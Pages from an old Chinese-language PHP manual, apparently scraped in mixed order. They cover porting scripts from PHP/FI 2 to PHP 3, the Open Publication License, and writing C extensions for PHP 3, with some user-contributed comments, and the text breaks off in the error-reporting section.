PHP/FI 2.0 根据表达式左边判断表达式的类型，而 PHP 3.0 则根据表达式两边进行判断。这便可能导致 2.0 下运行正常的脚本在 3.0 下导致异常。

考虑以下例子：

$a[0]=5;
$a[1]=7;

$key = key($a);
while ("" != $key) {
    echo "$keyn";
    next($a);
}

在 PHP/FI 2.0 中，这段程序将显示所有 $a 的索引，而在 PHP 3.0 中，这个程序什么都不会现实。原因是，在 PHP 2.0 中，因为左边参数的类型是 string，于是，一个 string 的关系便建立起来。当然 "" 并不等于 "0"，循环从头到尾。而在 PHP 3.0 中，当一个 string 和一个 integer 比较时，将 string 转换为 integer 并比较。结果是比较值为 0 的 atoi("")，和同样是值为 0 的 variablelist，也就是 0==0。所以循环根本没有执行。

很容易修正它。把 while 声明替换为：

while ((string)$key != "") {

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
while 语法 | 上一级 | 错误消息已经改变


if..endif 语法

使用 if(); elseif(); else; endif; 这一系列复杂的语句无助于 PHP 3.0 解析器的效率。因此，语法改变为：

例子 D-5. 移植：旧有 if..endif 语法

if ($foo);
    echo "yep\n";
elseif ($bar);
    echo "almost\n";
else;
    echo "nope\n";
endif;

例子 D-6. 移植：新的 if..endif 语法

if ($foo):
    echo "yep\n";
elseif ($bar):
    echo "almost\n";
else:
    echo "nope\n";
endif;
注意，在所有的声明中分号均改为冒号，除了末尾的 endif 以外。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
开始/结束标记 | 上一级 | while 语法


old_function

old_function 语句允许用和 PHP/FI2 一样的语法定义函数（即用“old_function”替代“function”）。

不赞成使用此特性，应该只用于 PHP/FI2->PHP 3 的转换程序中。

警告

用 old_function 定义的函数不能被 PHP 内部代码调用。除了其它限制以外，还意味着不能用于类似 usort()，array_walk() 和 register_shutdown_function() 等函数。可以写封装协议函数（按照正常的 PHP 3 格式）绕过此限制来调用 old_function。

add a note add a note User Contributed Notes
dzonny dot dz at gmail dot com
05-Dec-2005 09:52
For everybody who want to know old_function's syntax, here it is:
old_function name $param1, $param2, ..., $paramn ( code;);
eg.:
<?
old_function eq $param, $param(
   if($param1==$param2)
       echo "equal";
   else
       echo "not equal";
   return ($param1==$param2);
);

eq(1,2);
?>
add a note add a note

后退 | 起点 | 前进
从 PHP/FI 2 移植到 PHP 3 | 上一级 | 开始/结束标记


其它不兼容

  • PHP 3.0 的 Apache 模块不再支持 Apache 1.2 以前的版本。PHP 3.0 需要 Apache 1.2 或更高版本。

  • echo() 不再支持格式化字符串。如果想格式化字符串，使用 printf() 函数。

  • 在 PHP/FI 2.0 中，$foo[0] 和 $foo 有着同样的效果。而 3.0 则不是这样的。

  • 不再支持使用 $array[] 读取数组。

    也就是说，不可以通过作 $data = $array[] 的循环来遍历一个数组。使用 current() 和 next() 函数来代替。

    同样的，$array1[] = $array2 并没有把 $array2 的值赋给 $array1，而是把 $array2 这个数组赋给 $array1 的最后一项。这种情况也发生在多维数组上。

  • "+" 不再重载为字符串串连的运算符，它的作用是把字符串转换为数字并将它们相加。如果想串连字符串，使用 "." 代替。

例子 D-11. 从 2.0 移植：串连字符串

echo "1" + "1";

在 PHP 2.0 中该程序会显示 11，而在 PHP 3.0 中会显示 2。如果要在 PHP 3.0 中达到同样的效果，应该使用：
echo "1"."1";
$a = 1;
$b = 1;
echo $a + $b;

上面的程序在 PHP 2.0 和 3.0 中都会显示 2。
$a = 1;
$b = 1;
echo $a.$b;
面的程序在 PHP 3.0 中会显示 11。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
函数 TRUE/FALSE 返回值 | 上一级 | PHP 的调试


开始/结束标记

首先应该注意 PHP 的开始/结束标记已经改变。老的 <? > 已经被三种新的形式所替换：

例子 D-1. 移植：旧有的开始/结束标记

<? echo "这是 PHP/FI 2.0 的代码。\n"; >
PHP/FI 2.0 支持这种变化：

例子 D-2. 移植：第一种开始/结束标记

<? echo "这是 PHP 3.0 的代码！\n"; ?>
请注意，结束标记现在由一个问号和一个大于号组成而不仅是一个大于号。但是，如果计划在服务器上使用 XML，会发现错误。这是因为 PHP 可能会把 XML 文档中的标记当作 PHP 代码执行。因此，建议使用以下方法：

例子 D-3. 移植：第二种开始/结束标记

<?php echo "这是 PHP 3.0 的代码！\n"; ?>
一些编辑器并不能识别并处理指示标记，Microsoft FrontPage 就是其中之一。为了使之正常工作，可以使用下面的方法：

例子 D-4. 移植：第三种开始/结束标记

<script language="php">

  echo "这是 PHP 3.0 的代码！\n";

</script>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
old_function | 上一级 | if..endif 语法


函数 TRUE/FALSE 返回值

大量的内部函数被重写，使之在成功执行时返回 TRUE，而在失败时返回 FALSE。这就如同 PHP/FI 2.0 分别返回 0 和 -1 一样。这种改变使得更多的逻辑代码得以执行，比如 $fp = fopen("/your/file") or fail("darn!");。因为 PHP/FI 2.0 对函数执行失败的返回值没有明确的规定，所以在使用 2.0 到 3.0 转换器时必须手工检查函数返回值带来的影响。

例子 D-9. 从 2.0 移植：返回值，旧有代码

$fp = fopen($file, "r");
if ($fp == -1);
    echo("无法读取文件：$file。<br />\n");
endif;

例子 D-10. 从 2.0 移植：返回值，新的代码

$fp = @fopen($file, "r") or print("无法读取文件：$file。<br />\n");

add a note add a note User Contributed Notes
oliver at hankeln-online dot de
07-Aug-2002 11:22
I guess you are indeed wrong. You are right, 'FALSE' is beeing evaluated as a string. But it is compared with a number, so automatic type conversion takes place. 'FALSE' as well as 'FOO' and so on are converted to 0. And (0==0) is obviously true. So the number does matter. Try an other number...

Oliver
wildpeaks at warpdawg dot com
07-Aug-2002 10:30
'FALSE' is interpreted as a string containing the word false and not as a boolean value, and comparing a non-null string to a number, whatever the number is, returns true (i may be wrong).
dtampe at groupadress dot com
26-Oct-2001 01:27
Try this:

if(0=='FALSE')
     echo "It works but it should not work";

1 days of headheache...

Hope it helps!
DamTam
add a note add a note

后退 | 起点 | 前进
布尔值的快速计算 | 上一级 | 其它不兼容


while 语法

如 if..endif 一样，while..endwhile 的语法也进行了改变：

例子 D-7. 移植：旧有 while..endwhile 语法

while ($more_to_come);
    ...
endwhile;

例子 D-8. 移植：新的 new while..endwhile 语法

while ($more_to_come):
    ...
endwhile;

警告

如果在 PHP 3.0 中使用旧的 while..endwhile 语法，程序会进入死循环。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
if..endif 语法 | 上一级 | 表达式类型


II. COPYRIGHT

The copyright to each Open Publication is owned by its author(s) or designee.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
开放出版许可协议 | 上一级 | III. SCOPE OF LICENSE


V. GOOD-PRACTICE RECOMMENDATIONS

In addition to the requirements of this license, it is requested from and strongly recommended of redistributors that:

  1. If you are distributing Open Publication works on hardcopy or CD-ROM, you provide email notification to the authors of your intent to redistribute at least thirty days before your manuscript or media freeze, to give the authors time to provide updated documents. This notification should describe modifications, if any, made to the document.

  2. All substantive modifications (including deletions) be either clearly marked up in the document or else described in an attachment to the document.

  3. Finally, while it is not mandatory under this license, it is considered good form to offer a free copy of any hardcopy and CD-ROM expression of an Open Publication-licensed work to its author(s).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
IV. REQUIREMENTS ON MODIFIED WORKS | 上一级 | VI. LICENSE OPTIONS


开放出版许可协议

PHP 手册
后退 前进

附录 R. 开放出版许可协议

目录
I. REQUIREMENTS ON BOTH UNMODIFIED AND MODIFIED VERSIONS
II. COPYRIGHT
III. SCOPE OF LICENSE
IV. REQUIREMENTS ON MODIFIED WORKS
V. GOOD-PRACTICE RECOMMENDATIONS
VI. LICENSE OPTIONS

1.0 版，1999 年 6 月 8 日

本页保留英文原文。如有此协议的准确中文译文，请向中文翻译小组提供。

I. REQUIREMENTS ON BOTH UNMODIFIED AND MODIFIED VERSIONS

The Open Publication works may be reproduced and distributed in whole or in part, in any medium physical or electronic, provided that the terms of this license are adhered to, and that this license or an incorporation of it by reference (with any options elected by the author(s) and/or publisher) is displayed in the reproduction.

Proper form for an incorporation by reference is as follows:

Copyright (c) <year> by <author's name or designee>. This material may be distributed only subject to the terms and conditions set forth in the Open Publication License, vX.Y or later (the latest version is presently available at http://www.opencontent.org/openpub/

The reference must be immediately followed with any options elected by the author(s) and/or publisher of the document (see section VI). Commercial redistribution of Open Publication-licensed material is permitted. Any publication in standard (paper) book form shall require the citation of the original publisher and author. The publisher and author's names shall appear on all outer surfaces of the book. On all outer surfaces of the book the original publisher's name shall be as large as the title of the work and cited as possessive with respect to the title.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
手册译文 | 上一级 | II. COPYRIGHT


IV. REQUIREMENTS ON MODIFIED WORKS

All modified versions of documents covered by this license, including translations, anthologies, compilations and partial documents, must meet the following requirements:

  1. The modified version must be labeled as such.

  2. The person making the modifications must be identified and the modifications dated.

  3. Acknowledgement of the original author and publisher if applicable must be retained according to normal academic citation practices.

  4. The location of the original unmodified document must be identified.

  5. The original author's (or authors') name(s) may not be used to assert or imply endorsement of the resulting document without the original author's (or authors') permission.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
III. SCOPE OF LICENSE | 上一级 | V. GOOD-PRACTICE RECOMMENDATIONS


VI. LICENSE OPTIONS

The author(s) and/or publisher of an Open Publication-licensed document may elect certain options by appending language to the reference to or copy of the license. These options are considered part of the license instance and must be included with the license (or its incorporation by reference) in derived works.

A. To prohibit distribution of substantively modified versions without the explicit permission of the author(s). "Substantive modification" is defined as a change to the semantic content of the document, and excludes mere changes in format or typographical corrections.

To accomplish this, add the phrase `Distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder.' to the license reference or copy.

B. To prohibit any publication of this work or derivative works in whole or in part in standard (paper) book form for commercial purposes is prohibited unless prior permission is obtained from the copyright holder.

To accomplish this, add the phrase 'Distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder.' to the license reference or copy.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
V. GOOD-PRACTICE RECOMMENDATIONS | 上一级 | 函数索引


III. SCOPE OF LICENSE

The following license terms apply to all Open Publication works, unless otherwise explicitly stated in the document.

Mere aggregation of Open Publication works or a portion of an Open Publication work with other works or programs on the same media shall not cause this license to apply to those other works. The aggregate work shall contain a notice specifying the inclusion of the Open Publication material and appropriate copyright notice.

SEVERABILITY. If any part of this license is found to be unenforceable in any jurisdiction, the remaining portions of the license remain in force.

NO WARRANTY. Open Publication works are licensed and provided "as is" without warranty of any kind, express or implied, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose or a warranty of non-infringement.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
II. COPYRIGHT | 上一级 | IV. REQUIREMENTS ON MODIFIED WORKS


扩展 PHP 3

PHP 手册
后退 前进

章 46. 扩展 PHP 3

目录
为 PHP 新增函数
Calling User Functions
Reporting Errors

本章中的内容可能已经比较过时了，它讲解了如何扩展 PHP3。如果对 PHP 4 感兴趣，请阅读 Zend API 一章。

为 PHP 新增函数

函数原型

所有的函数有着如下形式：
void php3_foo(INTERNAL_FUNCTION_PARAMETERS) {

}
即使函数没有任何参数，这也是它被调用的方式。

函数参数

参数总是属于 pval 类型。该类型包含了各个参数的实际类型。因此，如果您的函数有两个参数，您应该在您的函数顶部做如下工作：

例子 46-1. 取得函数参数

pval *arg1, *arg2;
if (ARG_COUNT(ht) != 2 || getParameters(ht,2,&arg1,&arg2)==FAILURE) {
   WRONG_PARAM_COUNT;
}
注意：参数既可以被值（value）传递又可以被引用（reference）传递。两种情况您都需要将 &(pval *) 传递给 getParameters 函数。如果您想检查第 n 个参数是否通过引用传递给您，您可以使用 ParameterPassedByReference(ht,n) 函数。它的返回值为 0 或者 1。

当您改变了任何已传递的参数，无论它们是以值或者引用的方式传递，您都可以对它使用 pval_destructor 函数来销毁它。或者如果它是一个您想添加的数组，您可以使用类似于 internal_functions.h 中定义函数的方法来将返回值 return_value 作为数组来操作。

此外当你将一个参数改为 IS_STRING 时要确保先给 estrdup() 出来的字符串赋值以及给出字符串长度，然后才将它的类型改为 IS_STRING。如果要修改一个已经是 IS_STRING 或 IS_ARRAY 的参数应该先对其运行 pval_destructor。

可变函数参数

函数可以接受不同数目的参数。如果你的函数可以接受 2 或 3 个参数，这样用：

例子 46-2. 可变函数参数

pval *arg1, *arg2, *arg3;
int arg_count = ARG_COUNT(ht);

if (arg_count < 2 || arg_count > 3 ||
    getParameters(ht,arg_count,&arg1,&arg2,&arg3)==FAILURE) {
    WRONG_PARAM_COUNT;
}

使用函数参数

每个参数的类型存放在 pval 的类型字段中。可以是以下任何一种：

表格 46-1. PHP 内部类型

IS_STRING | 字符串
IS_DOUBLE | 双精度浮点型
IS_LONG | 长整型
IS_ARRAY | 数组
IS_EMPTY | None
IS_USER_FUNCTION | ??
IS_INTERNAL_FUNCTION | ??（如果其中某些不能被传递给一个函数，则删除）
IS_CLASS | ??
IS_OBJECT | ??

如果得到了一种类型的参数但是却想按照另一种类型来使用，或者想强制参数为某种类型，可以使用以下的转换函数：
convert_to_long(arg1);
convert_to_double(arg1);
convert_to_string(arg1);
convert_to_boolean_long(arg1); /* If the string is "" or "0" it becomes 0, 1 otherwise */
convert_string_to_number(arg1);  /* Converts string to either LONG or DOUBLE depending on string */

这些函数都是即时转换的，并不返回任何值。

实际上的参数被存放在一个联合中，成员为：

  • IS_STRING: arg1->value.str.val

  • IS_LONG: arg1->value.lval

  • IS_DOUBLE: arg1->value.dval

函数中的内存管理

函数所使用的任何内存都应该通过 emalloc() 或者 estrdup()
来申请。它们是内存处理抽象函数，看上去就像普通的 malloc() 和
strdup() 函数一样。内存应该用 efree() 来释放。

程序中有两种内存：作为变量被返回到解释器中的内存，以及内部函数所需要的临时存储空间。当把一个字符串赋给一个返回解释器的变量时需要确保首先通过 emalloc() 或者 estrdup() 分配了内存。该内存决不该由你来释放，除非你在同一个函数中后来又覆盖了原来的赋值（这并不是一种好的编程实践）。

任何在你的函数/库中所需要的临时/永久内存都要通过这三个函数来进行：emalloc()，estrdup()
和 efree()。它们的行为完全和它们相对应的函数相同。任何通过 emalloc()
或 estrdup() 都要用 efree()
在某个环节释放，除非它们本来就需要存在到程序结束。否则就会出现内存泄漏。“它们的行为完全和它们相对应的函数相同”的意思是：如果你用 efree() 释放了不是由 emalloc() 或 estrdup() 分配的内存时可能会导致段错误。所以要留意释放所有不需要的内存。

如果编译时指定了 "-DDEBUG"，PHP 将在脚本运行结束后显示出所有通过 emalloc() 和 estrdup() 分配但是没有用 efree() 释放的内存列表。

在符号表中设定变量

有一些宏可以使在符号表中设定变量更容易：

  • SET_VAR_STRING(name,value)

  • SET_VAR_DOUBLE(name,value)

  • SET_VAR_LONG(name,value)

警告

要注意 SET_VAR_STRING。值的部分必须是人工分配出来的，因为内存管理代码会在以后尝试释放该指针。不要将静态分配的内存传递给 SET_VAR_STRING。

PHP 中的符号表是以散列表来实现的。任何时候 &symbol_table 都是一个指向 'main' 符号表的指针，active_symbol_table points 指向当前活动的符号表（二者在开始时等同，而在函数内不同）。

以下例子使用了 'active_symbol_table'。如果你指明要工作于 'main' 符号表，应该用 &symbol_table 来替代。此外，同样的函数也能像下面说明的作用于数组。

例子 46-3. 检查 $foo 是否存在于符号表

if (hash_exists(active_symbol_table,"foo",sizeof("foo"))) { exists... }
else { doesn't exist }

例子 46-4. 在符号表中找到一个变量的字长

hash_find(active_symbol_table,"foo",sizeof("foo"),&pvalue);
check(pvalue.type);
PHP 中的数组使用了和符号表同一个散列表来实现。这意味着以上两个函数也可以用来检查数组中的变量。

如果要在符号表中定义一个新数组，应该这样做。

首先，要用 hash_exists() 或 hash_find() 检查它是否存在并且正确中止。

接着，初始化数组：

例子 46-5. 初始化新数组

pval arr;

if (array_init(&arr) == FAILURE) { failed... };
hash_update(active_symbol_table,"foo",sizeof("foo"),&arr,sizeof(pval),NULL);
这段代码在活动符号表中定义了一个名为 $foo 的新数组。这是个空数组。

这里展示了怎样向其中加入新的条目：

例子 46-6. 向数组中加入新的条目

pval entry;

entry.type = IS_LONG;
entry.value.lval = 5;

/* defines $foo["bar"] = 5 */
hash_update(arr.value.ht,"bar",sizeof("bar"),&entry,sizeof(pval),NULL);

/* defines $foo[7] = 5 */
hash_index_update(arr.value.ht,7,&entry,sizeof(pval),NULL);

/* defines the next free place in $foo[],
 * $foo[8], to be 5 (works like php2)
 */
hash_next_index_insert(arr.value.ht,&entry,sizeof(pval),NULL);
如果要修改一个插入到散列表中的值，必须先将其提取出来。要避免额外开销你可以给 hash add 函数提供一个 pval ** 参数，它将被表中相应单元的 pval * 地址所更新。如果其值为 NULL（如同以上所有的例子），该参数被忽略。

hash_next_index_insert() 或多或少使用了如同 PHP 2.0 中 "$foo[] = bar;" 的逻辑。

如果要建立一个从函数返回的数组，可以就像以上那样初始化数组：

if (array_init(return_value) == FAILURE) { failed...; }

接着用有用的函数加入值：

add_next_index_long(return_value,long_value);
add_next_index_double(return_value,double_value);
add_next_index_string(return_value,estrdup(string_value));

当然了，如果如果在数组初始化后添加不正确，你应该先查看一下数组：
pval *arr;

if (hash_find(active_symbol_table,"foo",sizeof("foo"),(void **)&arr)==FAILURE) { can't find... }
else { use arr->value.ht... }

注意 hash_find 接受一个指向 pval 指针的指针，并不是 pval 指针。

以上任何 hash 函数返回 SUCCESS 或 FAILURE（除了 hash_exists()，它返回一个布尔真值）。

Returning simple values

A number of macros are available to make returning values from a function easier.

The RETURN_* macros all set the return value and return from the function:

  • RETURN

  • RETURN_FALSE

  • RETURN_TRUE

  • RETURN_LONG(l)

  • RETURN_STRING(s,dup) If dup is TRUE, duplicates the string

  • RETURN_STRINGL(s,l,dup) Return string (s) specifying length (l).

  • RETURN_DOUBLE(d)

The RETVAL_* macros set the return value, but do not return.

  • RETVAL_FALSE

  • RETVAL_TRUE

  • RETVAL_LONG(l)

  • RETVAL_STRING(s,dup) If dup is TRUE, duplicates the string

  • RETVAL_STRINGL(s,l,dup) Return string (s) specifying length (l).

  • RETVAL_DOUBLE(d)

The string macros above will all estrdup() the passed 's' argument, so you can safely free the argument after calling the macro, or alternatively use statically allocated memory.

If your function returns boolean success/error responses, always use RETURN_TRUE and RETURN_FALSE respectively.

Returning complex values

Your function can also return a complex data type such as an object or an array.

Returning an object:

  1. Call object_init(return_value).

  2. Fill it up with values. The functions available for this purpose are listed below.

  3. Possibly, register functions for this object. In order to obtain values from the object, the function would have to fetch "this" from the active_symbol_table. Its type should be IS_OBJECT, and it's basically a regular hash table (i.e., you can use regular hash functions on .value.ht). The actual registration of the function can be done using:
    add_method( return_value, function_name, function_ptr );

The functions used to populate an object are:

  • add_property_long( return_value, property_name, l ) - Add a property named 'property_name', of type long, equal to 'l'

  • add_property_double( return_value, property_name, d ) - Same, only adds a double

  • add_property_string( return_value, property_name, str ) - Same, only adds a string

  • add_property_stringl( return_value, property_name, str, l ) - Same, only adds a string of length 'l'

Returning an array:

  1. Call array_init(return_value).

  2. Fill it up with values. The functions available for this purpose are listed below.

The functions used to populate an array are:

  • add_assoc_long(return_value,key,l) - add associative entry with key 'key' and long value 'l'

  • add_assoc_double(return_value,key,d)

  • add_assoc_string(return_value,key,str,duplicate)

  • add_assoc_stringl(return_value,key,str,length,duplicate) specify the string length

  • add_index_long(return_value,index,l) - add entry in index 'index' with long value 'l'

  • add_index_double(return_value,index,d)

  • add_index_string(return_value,index,str)

  • add_index_stringl(return_value,index,str,length) - specify the string length

  • add_next_index_long(return_value,l) - add an array entry in the next free offset with long value 'l'

  • add_next_index_double(return_value,d)

  • add_next_index_string(return_value,str)

  • add_next_index_stringl(return_value,str,length) - specify the string length

Using the resource list

PHP has a standard way of dealing with various types of resources. This replaces all of the local linked lists in PHP 2.0.

Available functions:

  • php3_list_insert(ptr, type) - returns the 'id' of the newly inserted resource

  • php3_list_delete(id) - delete the resource with the specified id

  • php3_list_find(id,*type) - returns the pointer of the resource with the specified id, updates 'type' to the resource's type

Typically, these functions are used for SQL drivers but they can be used for anything else; for instance, maintaining file descriptors.

Typical list code would look like this:

例子 46-7. Adding a new resource

RESOURCE *resource;

/* ...allocate memory for resource and acquire resource... */
/* add a new resource to the list */
return_value->value.lval = php3_list_insert((void *) resource, LE_RESOURCE_TYPE);
return_value->type = IS_LONG;

例子 46-8. Using an existing resource

pval *resource_id;
RESOURCE *resource;
int type;

convert_to_long(resource_id);
resource = php3_list_find(resource_id->value.lval, &type);
if (type != LE_RESOURCE_TYPE) {
    php3_error(E_WARNING,"resource index %d has the wrong type",resource_id->value.lval);
    RETURN_FALSE;
}
/* ...use resource... */

例子 46-9. Deleting an existing resource

pval *resource_id;
RESOURCE *resource;
int type;

convert_to_long(resource_id);
php3_list_delete(resource_id->value.lval);
The resource types should be registered in php3_list.h, in enum list_entry_type. In addition, one should add shutdown code for any new resource type defined, in list.c's list_entry_destructor() (even if you don't have anything to do on shutdown, you must add an empty case).

Using the persistent resource table

PHP has a standard way of storing persistent resources (i.e., resources that are kept in between hits). The first module to use this feature was the MySQL module, and mSQL followed it, so one can get the general impression of how a persistent resource should be used by reading mysql.c. The functions you should look at are:

php3_mysql_do_connect
php3_mysql_connect()
php3_mysql_pconnect()

The general idea of persistence modules is this:

  1. Code all of your module to work with the regular resource list mentioned in section (9).

  2. Code extra connect functions that check if the resource already exists in the persistent resource list. If it does, register it as in the regular resource list as a pointer to the persistent resource list (because of 1., the rest of the code should work immediately). If it doesn't, then create it, add it to the persistent resource list AND add a pointer to it from the regular resource list, so all of the code would work since it's in the regular resource list, but on the next connect, the resource would be found in the persistent resource list and be used without having to recreate it. You should register these resources with a different type (e.g. LE_MYSQL_LINK for non-persistent link and LE_MYSQL_PLINK for a persistent link).

If you read mysql.c, you'll notice that except for the more complex connect function, nothing in the rest of the module has to be changed.

The very same interface exists for the regular resource list and the persistent resource list, only 'list' is replaced with 'plist':

  • php3_plist_insert(ptr, type) - returns the 'id' of the newly inserted resource

  • php3_plist_delete(id) - delete the resource with the specified id

  • php3_plist_find(id,*type) - returns the pointer of the resource with the specified id, updates 'type' to the resource's type

However, it's more than likely that these functions would prove to be useless for you when trying to implement a persistent module. Typically, one would want to use the fact that the persistent resource list is really a hash table. For instance, in the MySQL/mSQL modules, when there's a pconnect() call (persistent connect), the function builds a string out of the host/user/passwd that were passed to the function, and hashes the SQL link with this string as a key. The next time someone calls a pconnect() with the same host/user/passwd, the same key would be generated, and the function would find the SQL link in the persistent list.

Until further documented, you should look at mysql.c or msql.c to see how one should use the plist's hash table abilities.

One important thing to note: resources going into the persistent resource list must *NOT* be allocated with PHP's memory manager, i.e., they should NOT be created with emalloc(), estrdup(), etc. Rather, one should use the regular malloc(), strdup(), etc. The reason for this is simple - at the end of the request (end of the hit), every memory chunk that was allocated using PHP's memory manager is deleted. Since the persistent list isn't supposed to be erased at the end of a request, one mustn't use PHP's memory manager for allocating resources that go to it.

When you register a resource that's going to be in the persistent list, you should add destructors to it both in the non-persistent list and in the persistent list. The destructor in the non-persistent list destructor shouldn't do anything. The one in the persistent list destructor should properly free any resources obtained by that type (e.g. memory, SQL links, etc). Just like with the non-persistent resources, you *MUST* add destructors for every resource, even it requires no destruction and the destructor would be empty. Remember, since emalloc() and friends aren't to be used in conjunction with the persistent list, you mustn't use efree() here either.

Adding runtime configuration directives

Many of the features of PHP can be configured at runtime. These configuration directives can appear in either the designated php3.ini file, or in the case of the Apache module version in the Apache .conf files. The advantage of having them in the Apache .conf files is that they can be configured on a per-directory basis. This means that one directory may have a certain safemodeexecdir for example, while another directory may have another. This configuration granularity is especially handy when a server supports multiple virtual hosts.

The steps required to add a new directive:

  1. Add directive to php3_ini_structure struct in mod_php3.h.

  2. In main.c, edit the php3_module_startup function and add the appropriate cfg_get_string() or cfg_get_long() call.

  3. Add the directive, restrictions and a comment to the php3_commands structure in mod_php3.c. Note the restrictions part. RSRC_CONF are directives that can only be present in the actual Apache .conf files. Any OR_OPTIONS directives can be present anywhere, include normal .htaccess files.

  4. In either php3take1handler() or php3flaghandler() add the appropriate entry for your directive.

  5. In the configuration section of the _php3_info() function in functions/info.c you need to add your new directive.

  6. And last, you of course have to use your new directive somewhere. It will be addressable as php3_ini.directive.

add a note add a note User Contributed Notes
sylbert at geodesiconline dot com
21-Jun-2002 09:18
Just found out that functions in php need to neccessarily be in lower case! However, using a function like testMe doesn't throw any errors during compile time .. its just shows up as an undeclared function when called from a script. Instead use something like test_me & it works just fine.
akimov at e-mail dot ru
27-Apr-2001 01:19
I recomended visit Zend API Documentation pages
http://www.zend.com/apidoc/

[editor note: These docs also live in the PHP manual

  http://www.php.net/manual/en/zend.php

Use those docs to Extend PHP 4]
ale at tana dot it
15-Mar-2001 05:48
PORTING CUSTOM C FUNCTION FROM PHP3 TO PHP4

And I mean just functions, not full-fledged php extension. I had a couple
of them, working with PHP3, and I have ported them in PHP4. Here's how.

1) Makefile
you should have CFLAGS something like

-I/path/to/php/php-4.0.4pl1/Zend
-I/path/to/php/php-4.0.4pl1
-I/path/to/php/php-4.0.4pl1/TSRM
-I/path/to/php/php-4.0.4pl1/main
-fPIC
-DCOMPILE_DL=1

Only the include paths changed from PHP3.

2) Interface with PHP
the php3_module_entry is now called zend_module_entry and has
the same structure. The get-module function from which you used to
return that value is not DLEXPORT, but ZEND_DLEXPORT. You
may want to use the ZEND_GET_MODULE macro.

For the function_entry, you may want to use the PHP_FE macros,
but I found the PHP_NAMED_FUNCTION implied less changes.
It goes as
PHP_NAMED_FUNCTION(arrayret); /* declaration */
and

/*  in php3 was
DLEXPORT void arrayret(INTERNAL_FUNCTION_PARAMETERS) */
PHP_NAMED_FUNCTION(arrayret) /* definition */
{
   pval **arg;
   char buf[512];
   int ok = 0, i = -1;

   if (ZEND_NUM_ARGS() != 1 ||
       zend_get_parameters_ex(1, &arg) != SUCCESS ||
       (*arg)->type != IS_STRING ||
       (*arg)->value.str.val == NULL)
   {
       WRONG_PARAM_COUNT;
   }
...
You've seen that *arg becomes **arg. The ..._ex() function will take
the address of a pointer to pointer. ZEND_NUM_ARGS doesn't take
any parameter (used to be ht).

3) Includes

#include <php.h>
#include <zend_globals.h>

4) Insert indirection
One difficult point is the extra level of indirection that was introduced
for reference counting. If you don't use complex data types your C
function should now work. If you use, e.g., arrays, keep that level
of indirection in mind: don't store a pval into an array, store a pointer.

I had things as

if (array_init(return_value) == SUCCESS)
{
   ok = 1;
   for (i = 0; i < 100 && ok; ++i) /* insert 100 arrays in return value */
   {
       pval entry;
       char buf[80];

       if ((ok = array_init(&entry) == SUCCESS) != 0)
       {
           static char const entry_1[] = "one";
           static char const entry_2[] = "two";

           pval e1, e2;

           e1.value.str.val = e2.value.str.val = NULL;
           e1.type = e2.type = IS_STRING;

           e1.value.str.len = sprintf(buf, "%3d/%010u", i, i);
           e1.value.str.val = estrndup(buf, e1.value.str.len);
           ok = e1.value.str.val != NULL &&
               _php3_hash_update(entry.value.ht, (char*)entry_1,
                   sizeof entry_1, &e1, sizeof e1, NULL) == SUCCESS;

           if (ok) /* continue assigning a second string, etc... */
...

This stuff compiles due to some compatibilty macro definitions, but
it doesn't work. The quickest way around is to insert an intermediate
function. To make the code above work in PHP4 i preceded it with
the following:

#undef _php3_hash_update
#define _php3_hash_update php4_hash_update_patch

static int php4_hash_update_patch(HashTable *ht,
   char *arKey, uint nKeyLength,
   void *pData, uint nDataSize, void **pDest)
{
   zval *tmp;
   int rtc;

   if (nDataSize != sizeof(zval)) /* check it was a pval */
       return FAILURE;

   ALLOC_ZVAL(tmp); /* you need zend_globals.h for this */
   *tmp = *(zval*)pData;
   tmp->is_ref = 0;
   tmp->refcount = 1;
   if ((rtc = zend_hash_update(ht,
       arKey, nKeyLength,
       (void*)&tmp, sizeof(zval*), pDest)) == FAILURE)
   {
       FREE_ZVAL(tmp);
   }
   return rtc;
}

Similar patches can be done for _php3_hash_next_index_insert,
etcetera. You got the idea.

I hope this may save some time to an occasional code porter,
keep in mind I'm not a zend (sic) guru, I just crashed my head
quite hardly before realizing what was going wrong.

And

5) good luck!
befletch at yahoo dot com
30-Sep-1999 08:33
Something about the PHP build process is needed here; perhaps an example showing how to make your own "Hello, World" extension.  Since that doesn't exist yet...
<p>
If you want to create an extension, you will need reasonably current versions of the tools m4, autoconf, libtool, and (I think) automake.  All of these are available at ftp://ftp.gnu.org.
<p>
Once these are installed, go into the 'ext' directory of your php install and run the 'ext_skel' script to create your extension directory with some skeleton contents.  You will need to edit at least the config.m4 file, and of course add your own code.  Other extensions are useful models, and the GNU documentation for autoconf is useful for understanding macros used in config.m4.
<p>
The final step required to insert your code into the PHP build process is to go to the php root directory and run the 'buildconf' script.  You should now find references to your extension in the 'configure' script, and if you designed your config.m4 to make your extension conditional, 'configure' should have command-line switches for you.
<p>
After running 'configure', your extension should now be part of PHP's build process.  (You may want to verify that php_config.h has properly set any 'HAVE_<your-extension-here>' macros properly defined.)  If this all goes well, you should be ready to concentrate on the C code for your extension.
add a note add a note

后退 | 起点 | 前进
zend_zval_type_name | 上一级 | Calling User Functions


Reporting Errors

To report errors from an internal function, you should call the php3_error() function. This takes at least two parameters -- the first is the level of the error, the second is the format string for the error message (as in a standard printf() call), and any following arguments are the parameters for the format string. The error levels are:

E_NOTICE

Notices are not printed by default, and indicate that the script encountered something that could indicate an error, but could also happen in the normal course of running a script. For example, trying to access the value of a variable which has not been set, or calling stat() on a file that doesn't exist.

E_WARNING

